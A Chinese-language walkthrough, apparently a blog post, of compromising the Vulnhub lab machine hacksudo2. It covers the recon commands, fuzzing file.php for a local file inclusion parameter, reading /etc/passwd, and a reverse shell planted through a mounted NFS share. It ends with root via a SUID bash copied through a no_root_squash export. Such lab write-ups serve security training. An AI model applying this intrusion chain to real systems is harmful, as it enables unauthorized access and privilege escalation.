Vulnhub:hacksudo2

靶机下载地址

信息收集

主机发现

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.188

端口扫描

nmap 192.168.31.188 -A -p- -T4

开放端口有80,111,1337(ssh),2049(nfs)。

目录扫描

访问http服务。

点击图片进入游戏。玩了一下没看到什么信息。

目录扫描。

dirsearch -u http://192.168.31.188

结合这个系列靶机的渗透测试经验,file.php可能存在文件包含漏洞,缺少一个参数。

info.php,敏感信息泄露,网站根路径/var/www/html。

readme.md

Poppoppero.

模糊测试参数

file.php存在文件包含漏洞的可能,wfuzz模糊查询参数。

wfuzz -c -u http://192.168.31.188/file.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hh 238

参数file。

渗透

文件包含漏洞利用(LFI)

http://192.168.31.188/file.php?file=/etc/passwd,可知root和hacksudo有默认shell。(这样看可能比较乱,可以在终端使用curl查看curl 'http://192.168.31.188/file.php?file=/etc/passwd')

已经验证存在文件包含漏洞,尝试包含远程文件getshell,但是需要确认一个前提——php开启allow_url_include(允许远程包含)。从info.php内容得知,不允许远程文件包含。

LFI本地文件包含,且没有文件上传功能点如何getshell。

1、利用日志文件,例如:apache日志文件/Nginx错误日志/SSH登录日志,往日志文件中“写”一句话木马,文件包含日志文件来执行日志文件的一句话木马。经过测试利用日志文件写入一句话木马getshell的方法是不可行的。

2、通过LFI获取hacksudo用户的ssh私钥、公钥文件以此getshell也不可行,因为不回显。

NFS结合LFI

NFS共享目录挂载到本地

nmap探测靶机开放端口,知道靶机上运行了NFS服务,将NFS共享目录挂载到本地Linux。步骤如下:

1、查看nfs服务器上可用的共享目录
showmount -e 192.168.31.188
2、在Linux机器上创建一个用于挂载的目录
mkdir tp
3、mount命令挂载nfs共享目录
mount -t nfs 192.168.31.188:/mnt/nfs tp -o nolock

mount命令挂载到本地时出现了很多问题,例如:can't find /mnt/ in /etc/fstab,搜索引擎的普遍解决方式是在/etc/fstab下添加

192.168.31.188:/mnt/nfs  mnt  nfs  default  0  0        
  1. 需要挂载的文件系统或需要挂载的目录

  2. 挂载点

  3. 文件系统

  4. 挂载形式

  5. 是否备份,0是忽略,1是备份

  6. fsck选项

修改后提示:mount: (hint) your fstab has been modified, but systemd still uses the old version; use 'systemctl daemon-reload' to reload.按照提示使用systemctl daemon-reload消除了这个报错,成功挂载。

成功挂载后,将反弹shell复制到挂载目录中,即上传到共享文件夹。

nc开启监听,利用LFI包含反弹shell文件,成功getshell。

# python获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash");'

利用NFS提权

现在我们拿到了一个低权限shell,查看/etc/exports文件(NFS配置文件),发现可利用NFS提权。

框起来的部分解释:

  1. /mnt/nfs。共享文件夹路径。

  2. *。远程用户可挂载。

  3. rw。可读可写。

  4. no_root_squash。允许在共享内以root身份写入文件。

利用挂载NFS分享提权:这个提权方法的前提是启用no_root_squash。原理是只要我们在本地挂载共享目录时攻击机是root用户,就能以root身份赋予恶意可执行文件SUID权限,此时目标机共享文件夹中也会做相同修改,再执行恶意可执行文件达到提权目的。

这里我复制/bin/bash到挂载的共享文件夹中,修改权限并赋予SUID权限,之后执行SUID bash即可获得root shell(为什么不通过自定义漏洞利用程序,因为该靶机没有编译环境)。需要注意的是bash版本,先看一下目标机bash版本——5.0.17。

攻击机的bash版本——5.2.21。版本不同会报错的,需要找和目标机版本相同的bash。(刚好有个Ubuntn是5.0.17版本的bash)

将合适版本的bash复制到攻击机的挂载目录下,修改权限并赋予SUID。

chmod 777 bash
chmod +s bash

./bash -p 执行bash。

get root.txt!🎆

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值